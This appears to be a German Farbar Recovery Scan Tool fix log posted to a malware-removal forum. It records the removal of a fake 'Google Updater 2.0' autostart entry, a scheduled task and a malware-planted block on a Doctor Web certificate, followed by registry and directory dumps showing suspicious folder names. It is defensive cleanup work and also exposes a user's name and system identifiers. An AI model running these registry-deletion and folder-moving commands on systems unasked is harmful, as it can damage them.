HKU\S-1-5-21-3847841184-804715454-2304624315-1001\...\StartupApproved\Run: => "Google Updater 2.0"
HKLM\ DisallowedCertificates: FFFA650F2CB2ABC0D80527B524DD3F9FC172C138 (Doctor Web Ltd.) <==== ACHTUNG
CMD: reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost"
CMD: reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost"
CMD: dir "%ProgramFiles%"
CMD: dir "%ProgramFiles(x86)%"
CMD: dir "%ProgramData%"
CMD: dir "%Appdata%"
CMD: dir "%LocalAppdata%"
CMD: dir "%CommonProgramFiles(x86)%"
CMD: dir "%CommonProgramW6432%"
CMD: dir "%UserProfile%"
CMD: dir "C:\"
EmptyTemp:

*****************

Prozesse erfolgreich geschlossen.
C:\USERS\NICK SCHUSTER\APPDATA\ROAMING\PROFILES => erfolgreich verschoben
C:\Users\Nick Schuster\AppData\Local\Chromium => erfolgreich verschoben
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Logon\{6557BCB6-2F27-448C-ACA4-7E86E4B009E5} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6557BCB6-2F27-448C-ACA4-7E86E4B009E5} => Schl黶sel erfolgreich entfernt
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Update => Schl黶sel erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run\\Google Updater 2.0 => Wert erfolgreich entfernt
HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\\Google Updater 2.0 => Wert nicht gefunden.
HKLM\Software\Microsoft\SystemCertificates\Disallowed\Certificates\FFFA650F2CB2ABC0D80527B524DD3F9FC172C138 => Schl黶sel erfolgreich entfernt

========= reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" =========


HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost
    RPCSS    REG_MULTI_SZ    RpcEptMapper\0RpcSs
    LocalService    REG_MULTI_SZ    nsi\0WdiServiceHost\0w32time\0EventSystem\0WinHttpAutoProxySvc\0SstpSvc\0netprofm\0lltdsvc\0THREADORDER\0FontCache\0fdphost\0bthserv\0WebClient\0workfolderssvc\0RemoteRegistry
    WepHostSvcGroup    REG_MULTI_SZ    WepHostSvc
    defragsvc    REG_MULTI_SZ    defragsvc
    LocalServiceAndNoImpersonation    REG_MULTI_SZ    TimeBroker\0SSDPSRV\0upnphost\0SCardSvr\0BthHFSrv\0QWAVE\0fdrespub\0wcncsvc\0SensrSvc
    DcomLaunch    REG_MULTI_SZ    Power\0LSM\0BrokerInfrastructure\0PlugPlay\0DcomLaunch\0DeviceInstall\0SystemEventsBroker
    LocalSystemNetworkRestricted    REG_MULTI_SZ    WdiSystemHost\0ScDeviceEnum\0WiaRpc\0trkwks\0AudioEndpointBuilder\0WUDFSvc\0hidserv\0dot3svc\0NcbService\0svsvc\0sysmain\0StorSvc\0TabletInputService\0fhsvc\0PcaSvc\0DeviceAssociationService\0homegrouplistener\0wlansvc\0WPDBusEnum\0vmickvpexchange\0vmicshutdown\0vmicvss\0vmicguestinterface\0irmon\0Netman\0UmRdpService
    netsvcs    REG_MULTI_SZ    AeLookupSvc\0CertPropSvc\0SCPolicySvc\0lanmanserver\0gpsvc\0IKEEXT\0iphlpsvc\0seclogon\0AppInfo\0msiscsi\0EapHost\0schedule\0winmgmt\0MMCSS\0browser\0ProfSvc\0SessionEnv\0wercplsupport\0hkmsvc\0BDESVC\0lfsvc\0wlidsvc\0Themes\0DsmSvc\0NcaSvc\0FastUserSwitchingCompatibility\0Ias\0Irmon\0Nla\0Ntmssvc\0NWCWorkstation\0Nwsapagent\0Rasauto\0Rasman\0Remoteaccess\0SENS\0Sharedaccess\0SRService\0Tapisrv\0Wmi\0WmdmPmSp\0wuauserv\0BITS\0ShellHWDetection\0LogonHours\0PCAudit\0helpsvc\0uploadmgr
    WerSvcGroup    REG_MULTI_SZ    wersvc
    WbioSvcGroup    REG_MULTI_SZ    WbioSrvc
    LocalServiceNoNetwork    REG_MULTI_SZ    DPS\0PLA\0BFE\0mpssvc\0NcdAutoSetup\0WwanSvc
    imgsvc    REG_MULTI_SZ    StiSvc
    termsvcs    REG_MULTI_SZ    TermService
    swprv    REG_MULTI_SZ    swprv
    wsappx    REG_MULTI_SZ    WSService\0AppXSvc
    smphost    REG_MULTI_SZ    smphost
    ICService    REG_MULTI_SZ    vmicheartbeat\0vmicrdv
    LocalServiceNetworkRestricted    REG_MULTI_SZ    DHCP\0eventlog\0AudioSrv\0wscsvc\0LmHosts\0AppIDSvc\0wcmsvc\0homegroupprovider\0WPCSvc\0vmictimesync
    LocalServicePeerNet    REG_MULTI_SZ    PNRPSvc\0p2pimsvc\0p2psvc\0PnrpAutoReg
    NetworkServiceAndNoImpersonation    REG_MULTI_SZ    KtmRm
    regsvc    REG_MULTI_SZ    RemoteRegistry
    wcssvc    REG_MULTI_SZ    WcsPlugInService
    NetworkServiceNetworkRestricted    REG_MULTI_SZ    PolicyAgent
    AxInstSVGroup    REG_MULTI_SZ    AxInstSV
    AppReadiness    REG_MULTI_SZ    AppReadiness
    NetworkService    REG_MULTI_SZ    CryptSvc\0nlasvc\0lanmanworkstation\0NapAgent\0WinRM\0WECSVC\0DNSCache\0Tapisrv\0DHCP\0TermService
    print    REG_MULTI_SZ    PrintNotify
    bthaudiosvc    REG_MULTI_SZ    BthHFSrv
    utcsvc    REG_MULTI_SZ    DiagTrack
    zipsvcs    REG_MULTI_SZ    ziphost

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\defragsvc
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\ICService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceNetworkRestricted
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceNoNetwork
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\LocalSystemNetworkRestricted
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\NetworkService
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\NetworkServiceRemoteDesktopHyperVAgent
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\NetworkServiceRemoteDesktopPublishing
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\print
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\swprv
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\termsvcs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\utcsvc
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\wcssvc
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\WepHostSvcGroup
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\wercplsupport
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\wsappx

========= Ende von CMD: =========


========= reg query "HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost" =========


HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost
    netsvcs    REG_MULTI_SZ    CertPropSvc\0SCPolicySvc\0lanmanserver\0gpsvc\0iphlpsvc\0msiscsi\0schedule\0winmgmt\0SessionEnv\0FastUserSwitchingCompatibility\0Ias\0Irmon\0Nla\0Ntmssvc\0NWCWorkstation\0Nwsapagent\0Rasauto\0Rasman\0Remoteaccess\0SENS\0Sharedaccess\0SRService\0Tapisrv\0Wmi\0WmdmPmSp\0wuauserv\0BITS\0ShellHWDetection\0LogonHours\0PCAudit\0helpsvc\0uploadmgr
    LocalSystemNetworkRestricted    REG_MULTI_SZ    ScDeviceEnum\0WiaRpc\0AudioEndpointBuilder\0dot3svc\0StorSvc\0Netman\0DeviceAssociationService\0WPDBusEnum\0wlansvc
    LocalService    REG_MULTI_SZ    WinHttpAutoProxySvc\0netprofm\0RemoteRegistry\0WebClient
    imgsvc    REG_MULTI_SZ    StiSvc
    LocalServiceNoNetwork    REG_MULTI_SZ    PLA
    smphost    REG_MULTI_SZ    smphost
    rpcss    REG_MULTI_SZ    RpcSs
    LocalServiceNetworkRestricted    REG_MULTI_SZ    AudioSrv\0wscsvc\0LmHosts\0WPCSvc
    wcssvc    REG_MULTI_SZ    WcsPlugInService
    LocalServiceAndNoImpersonation    REG_MULTI_SZ    SSDPSRV\0upnphost\0SCardSvr\0BthHFSrv\0QWAVE\0wcncsvc
    DcomLaunch    REG_MULTI_SZ    PlugPlay\0DcomLaunch\0DeviceInstall
    NetworkService    REG_MULTI_SZ    CryptSvc\0NapAgent\0WinRM\0WECSVC\0DHCP\0TermService\0DNSCache\0Tapisrv
    zipsvcs    REG_MULTI_SZ    ziphost
    Coedele    REG_MULTI_SZ    Coedele
    LocalServiceir    REG_MULTI_SZ    MCSvc
    MVCService    REG_MULTI_SZ    MVCSrv
    WerrSvcGroup    REG_MULTI_SZ    AppleCloudSvc
    AppleSvcs    REG_MULTI_SZ    AppleAppSvc

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\LocalService
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceAndNoImpersonation
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceNetworkRestricted
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\LocalServiceNoNetwork
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\LocalSystemNetworkRestricted
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\NetworkService
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\NetworkServiceRemoteDesktopHyperVAgent
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\NetworkServiceRemoteDesktopPublishing
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\termsvcs
HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Svchost\wcssvc

========= Ende von CMD: =========


========= dir "%ProgramFiles%" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\Program Files

05.06.2017  15:57    <DIR>          .
05.06.2017  15:57    <DIR>          ..
19.03.2017  13:48    <DIR>          Adobe
12.08.2016  19:47    <DIR>          AVAST Software
19.03.2017  16:10    <DIR>          Boris FX, Inc
27.02.2017  11:43    <DIR>          Canon
01.06.2017  21:53    <DIR>          Common Files
25.03.2017  14:29    <DIR>          EqualizerAPO
07.03.2017  15:49    <DIR>          GIMP 2
19.09.2016  17:06    <DIR>          Handbrake
29.05.2017  21:59    <DIR>          Image-Line
26.12.2015  17:46    <DIR>          Intel
14.05.2017  16:17    <DIR>          Internet Explorer
13.02.2017  15:57    <DIR>          Java
05.06.2017  15:57    <DIR>          Malwarebytes
18.03.2017  15:14    <DIR>          MegaDownloader
12.04.2017  11:00    <DIR>          Microsoft Silverlight
07.06.2017  10:35    <DIR>          Mozilla Firefox
27.12.2015  21:26    <DIR>          MSBuild
27.12.2015  21:26    <DIR>          Reference Assemblies
23.10.2016  18:05    <DIR>          SAMSUNG
01.09.2016  17:15    <DIR>          Sony
18.03.2017  14:20    <DIR>          Steinberg
17.09.2016  17:52    <DIR>          VideoLAN
25.02.2017  18:47    <DIR>          Virtual Audio Cable
12.04.2017  10:56    <DIR>          Windows Defender
15.06.2016  11:32    <DIR>          Windows Live
21.11.2014  12:52    <DIR>          Windows Mail
20.02.2017  22:38    <DIR>          Windows Media Player
21.11.2014  12:52    <DIR>          Windows Multimedia Platform
26.12.2015  16:34    <DIR>          Windows NT
21.11.2014  12:52    <DIR>          Windows Photo Viewer
21.11.2014  12:52    <DIR>          Windows Portable Devices
              0 Datei(en),              0 Bytes
              33 Verzeichnis(se), 825.263.292.416 Bytes frei

========= Ende von CMD: =========


========= dir "%ProgramFiles(x86)%" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\Program Files (x86)

07.06.2017  10:41    <DIR>          .
07.06.2017  10:41    <DIR>          ..
19.03.2017  12:14    <DIR>          Adobe
15.03.2017  17:59    <DIR>          Adobe Photoshop CS6
12.02.2017  14:29    <DIR>          AIMP Classic
18.03.2017  14:21    <DIR>          ASIO4ALL v2
29.01.2017  12:35    <DIR>          Boris FX, Inc
27.02.2017  11:43    <DIR>          Canon
28.05.2017  20:40    <DIR>          Common Files
07.06.2017  10:41    <DIR>          Google
19.03.2017  16:10    <DIR>          Image-Line
26.12.2015  17:46    <DIR>          Intel
14.05.2017  16:17    <DIR>          Internet Explorer
13.02.2017  15:57    <DIR>          Java
23.11.2016  19:16    <DIR>          Malwarebytes Anti-Malware
12.04.2017  11:00    <DIR>          Microsoft Silverlight
22.08.2013  17:36    <DIR>          Microsoft.NET
29.05.2017  23:08    <DIR>          Minecraft
31.05.2017  10:46    <DIR>          Mozilla Maintenance Service
27.12.2015  21:26    <DIR>          MSBuild
27.02.2017  13:44    <DIR>          OpenOffice 4
05.11.2016  12:01    <DIR>          Reference Assemblies
30.05.2017  14:05    <DIR>          Samsung
22.05.2017  21:24    <DIR>          Skype
01.09.2016  17:15    <DIR>          Sony
26.05.2017  18:19    <DIR>          Steam
18.03.2017  14:20    <DIR>          Steinberg
21.05.2017  19:04    <DIR>          TeamViewer
13.04.2017  12:37    <DIR>          VirtualDJ
05.12.2016  21:46    <DIR>          VstPlugins
12.04.2017  10:56    <DIR>          Windows Defender
15.06.2016  11:32    <DIR>          Windows Live
21.11.2014  12:51    <DIR>          Windows Mail
20.02.2017  22:47    <DIR>          Windows Media Player
21.11.2014  12:51    <DIR>          Windows Multimedia Platform
22.08.2013  17:36    <DIR>          Windows NT
21.11.2014  12:51    <DIR>          Windows Photo Viewer
21.11.2014  12:51    <DIR>          Windows Portable Devices
22.08.2013  17:36    <DIR>          WindowsPowerShell
14.09.2016  14:50    <DIR>          WinRAR
              0 Datei(en),              0 Bytes
              40 Verzeichnis(se), 825.263.235.072 Bytes frei

========= Ende von CMD: =========


========= dir "%ProgramData%" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\ProgramData

31.07.2016  16:06    <DIR>          360Quarant
19.03.2017  13:39    <DIR>          Adobe
31.05.2017  13:52    <DIR>          Apple
03.05.2017  17:34    <DIR>          Apple Computer
27.02.2017  11:18    <DIR>          AudioUTOPiA
12.08.2016  14:05    <DIR>          AVAST Software
04.11.2016  23:17    <DIR>          Avg
05.11.2016  12:01    <DIR>          Avira
13.10.2016  22:01    <DIR>          Big Fish
29.04.2017  13:08    <DIR>          BlueStacksSetup
13.10.2016  22:04    <DIR>          BOONTY
19.03.2017  11:25    <DIR>          boost_interprocess
27.02.2017  11:37    <DIR>          Canon
27.02.2017  11:41    <DIR>          Canon IJ Network Tool
24.05.2017  11:40    <DIR>          CanonIJPLM
27.02.2017  11:42    <DIR>          CanonIJWSpt
14.02.2017  17:04    <DIR>          CyberLink
07.05.2017  13:13    <DIR>          DAEMON Tools Lite
25.05.2017  15:33    <DIR>          DAEMON Tools Pro
20.02.2017  22:29    <DIR>          DFX
27.12.2016  21:44    <DIR>          Dropbox
26.05.2017  18:05    <DIR>          Electronic Arts
05.11.2016  00:04    <DIR>          Freemake
29.01.2017  12:35    <DIR>          FXHOME
11.06.2016  17:57    <DIR>          GFACE
31.07.2016  16:06    <DIR>          GlassWire
25.05.2017  15:49    <DIR>          install_backup
14.02.2017  16:53    <DIR>          install_clap
03.02.2017  22:04    <DIR>          Intel
13.10.2016  17:17    <DIR>          Intenium
01.08.2016  23:17    <DIR>          MAGIX
05.06.2017  15:57    <DIR>          Malwarebytes
15.06.2016  11:31    <DIR>          Microsoft OneDrive
03.12.2016  19:50    <DIR>          Microsoft Toolkit
12.11.2016  11:00    <DIR>          Oracle
25.05.2017  16:04    <DIR>          Orbit
27.02.2017  11:17    <DIR>          PACE
22.05.2017  21:24    <DIR>          Package Cache
05.11.2016  22:36    <DIR>          Razer
22.10.2016  14:20    <DIR>          Red Giant
24.09.2016  19:08    <DIR>          RedGiant
19.03.2017  13:44    <DIR>          regid.1986-12.com.adobe
21.11.2014  12:51    <DIR>          regid.1991-06.com.microsoft
30.05.2017  14:05    <DIR>          Samsung
22.05.2017  21:24    <DIR>          Skype
25.05.2017  15:49    <DIR>          SUPPORTDIR
25.05.2017  15:49    <DIR>          TEMP
01.09.2016  17:10    <DIR>          UniqueId
02.09.2016  17:41    <DIR>          WinZip
              0 Datei(en),              0 Bytes
              49 Verzeichnis(se), 825.263.173.632 Bytes frei

========= Ende von CMD: =========


========= dir "%Appdata%" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\Users\Nick Schuster\AppData\Roaming

07.06.2017  10:43    <DIR>          .
07.06.2017  10:43    <DIR>          ..
29.05.2017  23:08    <DIR>          .minecraft
12.12.2016  23:28            1.120 .minecraft - Verkn乸fung.lnk
28.08.2010  22:43            96.256 AdbWinApi.dll
28.08.2010  22:43            60.928 AdbWinUsbApi.dll
21.03.2017  21:33    <DIR>          Adobe
29.03.2017  10:54    <DIR>          Antares
04.05.2017  00:15    <DIR>          Apple Computer
19.03.2017  16:58    <DIR>          audacity
13.02.2017  17:40    <DIR>          avidemux
31.07.2016  17:09    <DIR>          Brotsoft
06.03.2017  17:50    <DIR>          Canon
07.05.2017  13:53    <DIR>          DAEMON Tools Lite
25.05.2017  15:36    <DIR>          DAEMON Tools Pro
14.09.2016  23:35    <DIR>          Design-Lib.Com
26.12.2015  22:50    <DIR>          dlg
27.12.2016  21:44    <DIR>          Dropbox
14.04.2017  19:23    <DIR>          dvdcss
19.09.2016  23:58    <DIR>          DVDVideoSoft
07.06.2017  10:34    <DIR>          Google
18.04.2017  20:03    <DIR>          HandBrake
19.09.2016  17:08    <DIR>          HandBrake Team
12.10.2016  16:07    <DIR>          Image-Line
16.01.2016  14:24    <DIR>          Intenium
12.10.2016  16:10    <DIR>          IrfanView
26.12.2015  23:06    <DIR>          java
04.11.2016  23:43    <DIR>          Kingosoft
17.12.2016  14:29    <DIR>          LOVE
26.12.2015  16:48    <DIR>          Macromedia
01.09.2016  13:55    <DIR>          MAXON
20.02.2017  22:17    <DIR>          Mozilla
01.12.2016  16:37    <DIR>          Music Editor Free
22.12.2016  15:14    <DIR>          Music Recognition
01.12.2016  16:31    <DIR>          New Version Available
27.02.2017  13:39    <DIR>          OpenOffice
14.06.2016  21:01    <DIR>          Publish Providers
24.09.2016  19:16    <DIR>          Red Giant
03.05.2017  17:47    <DIR>          redsn0w
30.05.2017  14:05    <DIR>          Samsung
28.04.2017  17:03    <DIR>          SecondLife
22.05.2017  21:46    <DIR>          Skype
26.12.2015  23:29    <DIR>          skyz
17.12.2016  14:29    <DIR>          SmartSteamEmu
02.09.2016  17:44    <DIR>          Sony
17.09.2016  18:44    <DIR>          Sony Creative Software Inc
26.12.2015  23:04    <DIR>          Sun
22.12.2016  16:03    <DIR>          Synthesia
17.05.2017  18:44    <DIR>          TeamViewer
03.09.2016  19:59    <DIR>          TechSmith
04.06.2017  10:17    <DIR>          vlc
03.06.2017  18:29    <DIR>          Wargaming.net
03.01.2017  13:21    <DIR>          windows
05.05.2017  18:00    <DIR>          WinRAR
              3 Datei(en),        158.304 Bytes
              51 Verzeichnis(se), 825.263.116.288 Bytes frei

========= Ende von CMD: =========


========= dir "%LocalAppdata%" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\Users\Nick Schuster\AppData\Local

07.06.2017  10:43    <DIR>          .
07.06.2017  10:43    <DIR>          ..
08.01.2016  15:51    <DIR>          activision
01.04.2017  15:47    <DIR>          Adobe
05.11.2016  17:24    <DIR>          Android
17.09.2016  17:56    <DIR>          Apple
04.05.2017  00:15    <DIR>          Apple Computer
31.07.2016  15:01    <DIR>          Apps
04.11.2016  23:16    <DIR>          Atajerge
02.07.2016  19:50    <DIR>          Audacity
13.10.2016  22:01    <DIR>          Big Fish
31.05.2017  17:34    <DIR>          Bluestacks
27.12.2015  20:13    <DIR>          CEF
07.06.2017  10:38    <DIR>          CrashDumps
29.01.2017  12:37    <DIR>          Crashpad
22.01.2017  18:05    <DIR>          CrashReportClient
09.06.2016  17:23    <DIR>          CrashRpt
14.02.2017  17:00    <DIR>          Cyberlink
07.06.2017  10:41    <DIR>          Deployment
20.02.2017  22:29    <DIR>          DFX
19.03.2017  16:06    <DIR>          Diagnostics
07.05.2017  14:03    <DIR>          Disc_Soft_Ltd
27.12.2016  21:45    <DIR>          Dropbox
17.11.2016  20:53    <DIR>          ElevatedDiagnostics
07.03.2017  15:40    <DIR>          fontconfig
28.02.2017  19:30    <DIR>          FreeOCR
29.01.2017  12:37    <DIR>          FXHOME
29.01.2017  12:37    <DIR>          FXHOME Helper
07.03.2017  15:40    <DIR>          gegl-0.2
31.07.2016  16:07    <DIR>          GlassWire
07.06.2017  10:41    <DIR>          Google
07.03.2017  15:59    <DIR>          gtk-2.0
29.12.2015  02:25    <DIR>          GWX
26.12.2015  23:07    <DIR>          Intel_Corporation
12.02.2017  14:37    <DIR>          Macromedia
17.03.2017  15:51    <DIR>          Mega Limited
18.03.2017  15:22    <DIR>          MegaDownloader
31.05.2017  12:02    <DIR>          Microsoft
13.10.2016  18:21    <DIR>          Mozilla
18.10.2016  15:29    <DIR>          MSfree Inc
10.05.2017  16:11    <DIR>          My Games
25.11.2016  22:11    <DIR>          NBTExplorer
08.10.2016  19:52    <DIR>          Oblivion
27.02.2017  11:43    <DIR>          Packages
07.06.2017  10:34    <DIR>          Pleperiedsdeied
13.10.2016  18:15    <DIR>          Profiles
02.01.2016  17:48    <DIR>          Programs
07.05.2017  15:12    <DIR>          PunkBuster
05.11.2016  22:36    <DIR>          Razer
07.03.2017  15:59            3.330 recently-used.xbel
17.12.2016  21:05            7.598 Resmon.ResmonCfg
05.11.2016  22:35    <DIR>          RzStats
03.02.2017  12:28    <DIR>          Samsung
31.05.2017  17:31    <DIR>          Sony
17.12.2016  15:58    <DIR>          Steam
07.06.2017  10:34    <DIR>          Sternetain
02.09.2016  18:42    <DIR>          TechSmith
07.06.2017  10:43    <DIR>          Temp
22.04.2017  20:22              552 TroubleshooterConfig.json
03.06.2016  19:21    <DIR>          Ubisoft
11.05.2017  23:41    <DIR>          Ubisoft Game Launcher
18.11.2016  18:26    <DIR>          Unity
22.01.2017  18:46    <DIR>          UnrealEngine
21.10.2016  22:16    <DIR>          uts
23.10.2016  18:04              158 uts.ini
03.01.2017  02:54    <DIR>          VirtualStore
27.02.2017  12:05    <DIR>          Windows Live
              4 Datei(en),        11.638 Bytes
              63 Verzeichnis(se), 825.263.058.944 Bytes frei

========= Ende von CMD: =========


========= dir "%CommonProgramFiles(x86)%" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\Program Files (x86)\Common Files

28.05.2017  20:40    <DIR>          .
28.05.2017  20:40    <DIR>          ..
05.06.2017  15:53    <DIR>          Adobe
14.09.2016  17:05    <DIR>          Adobe AIR
12.08.2016  13:34    <DIR>          AV
13.10.2016  22:04    <DIR>          BOONTY Shared
24.09.2016  19:16    <DIR>          Intel
13.02.2017  15:57    <DIR>          Java
01.08.2016  23:17    <DIR>          MAGIX Services
01.08.2016  23:05    <DIR>          MAGIX Shared
28.06.2016  16:43    <DIR>          Microsoft Shared
25.05.2017  15:48    <DIR>          Nikon
12.10.2016  16:07    <DIR>          Propellerhead Software
24.07.2016  13:07    <DIR>          PX Storage Engine
23.11.2016  19:16    <DIR>          Services
22.05.2017  21:24    <DIR>          Skype
01.05.2017  22:36    <DIR>          Steam
21.11.2014  12:51    <DIR>          System
26.02.2017  18:57    <DIR>          vst3
15.06.2016  11:30    <DIR>          Windows Live
              0 Datei(en),              0 Bytes
              20 Verzeichnis(se), 825.263.001.600 Bytes frei

========= Ende von CMD: =========


========= dir "%CommonProgramW6432%" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\Program Files\Common Files

01.06.2017  21:53    <DIR>          .
01.06.2017  21:53    <DIR>          ..
19.03.2017  13:49    <DIR>          Adobe
22.12.2016  16:58    <DIR>          logishrd
15.06.2016  11:32    <DIR>          microsoft shared
21.11.2014  12:52    <DIR>          System
05.12.2016  21:46    <DIR>          VST2
27.02.2017  11:18    <DIR>          vst3
              0 Datei(en),              0 Bytes
              8 Verzeichnis(se), 825.262.944.256 Bytes frei

========= Ende von CMD: =========


========= dir "%UserProfile%" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\Users\Nick Schuster

05.06.2017  15:41    <DIR>          .
05.06.2017  15:41    <DIR>          ..
05.11.2016  17:40    <DIR>          .android
16.05.2017  15:15    <DIR>          .gimp-2.8
30.07.2016  20:24    <DIR>          .oracle_jre_usage
07.03.2017  15:45    <DIR>          .thumbnails
12.10.2016  19:38    <DIR>          Contacts
19.03.2017  11:55    <DIR>          Creative Cloud Files
05.06.2017  17:30    <DIR>          Desktop
01.06.2017  21:59    <DIR>          Documents
02.06.2017  16:15    <DIR>          Downloads
05.06.2017  15:25    <DIR>          Favorites
01.04.2017  11:21    <DIR>          Links
07.06.2017  10:34    <DIR>          Music
07.06.2017  10:38    <DIR>          OneDrive
24.05.2017  10:24    <DIR>          Pictures
26.05.2017  18:06    <DIR>          Saved Games
29.01.2017  20:13    <DIR>          Searches
23.11.2016  18:13    <DIR>          Start Menu
22.12.2016  15:58    <DIR>          synthesia lieder
15.06.2016  11:33    <DIR>          Tracing
26.05.2017  10:53    <DIR>          Videos
              0 Datei(en),              0 Bytes
              22 Verzeichnis(se), 825.262.882.816 Bytes frei

========= Ende von CMD: =========


========= dir "C:\" =========

 Datentr„ger in Laufwerk C: ist NexusLap
 Volumeseriennummer: D6DE-75D0

 Verzeichnis von C:\

05.06.2017  15:51    <DIR>          AdwCleaner
31.07.2016  16:26                0 autoexec.bat
31.07.2016  16:09    <DIR>          DAC5
04.04.2017  01:30                0 dfu.log
28.02.2017  20:37    <DIR>          FreeOCR
07.06.2017  10:43    <DIR>          FRST
03.06.2017  19:08    <DIR>          Games
12.04.2017  11:06    <DIR>          Intel
02.12.2006  00:37          904.704 msdia80.dll
18.11.2016  18:57    <DIR>          PerfLogs
05.06.2017  15:57    <DIR>          Program Files
07.06.2017  10:41    <DIR>          Program Files (x86)
16.11.2016  18:46                0 temp.dat
01.04.2017  12:12    <DIR>          Users
05.06.2017  17:04    <DIR>          Windows
              4 Datei(en),        904.704 Bytes
              11 Verzeichnis(se), 825.262.829.568 Bytes frei

========= Ende von CMD: =========


=========== EmptyTemp: ==========

BITS transfer queue => 0 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 17789342 B
Java, Flash, Steam htmlcache => 506 B
Windows/system/drivers => 185497 B
Edge => 0 B
Chrome => 6949128 B
Firefox => 3002692 B
Opera => 0 B

Temp, IE cache, history, cookies, recent:
Default => 0 B
Users => 0 B
ProgramData => 0 B
Public => 0 B
systemprofile => 0 B
systemprofile32 => 0 B
LocalService => 9756 B
NetworkService => 0 B
Nick Schuster => 33693854 B

RecycleBin => 0 B
EmptyTemp: => 58.8 MB tempor鋜e Dateien entfernt.

================================


Das System musste neu gestartet werden.

==== Ende von Fixlog 10:43:47 ====

NexsReloaded 07.06.2017 10:48
Code:

Farbar Recovery Scan Tool (x64) Version: 05-06-2017
durchgef黨rt von Nick Schuster (07-06-2017 10:54:47)
Gestartet von C:\Users\Nick Schuster\Desktop\anti trojan\killer.exe
Start-Modus: Normal

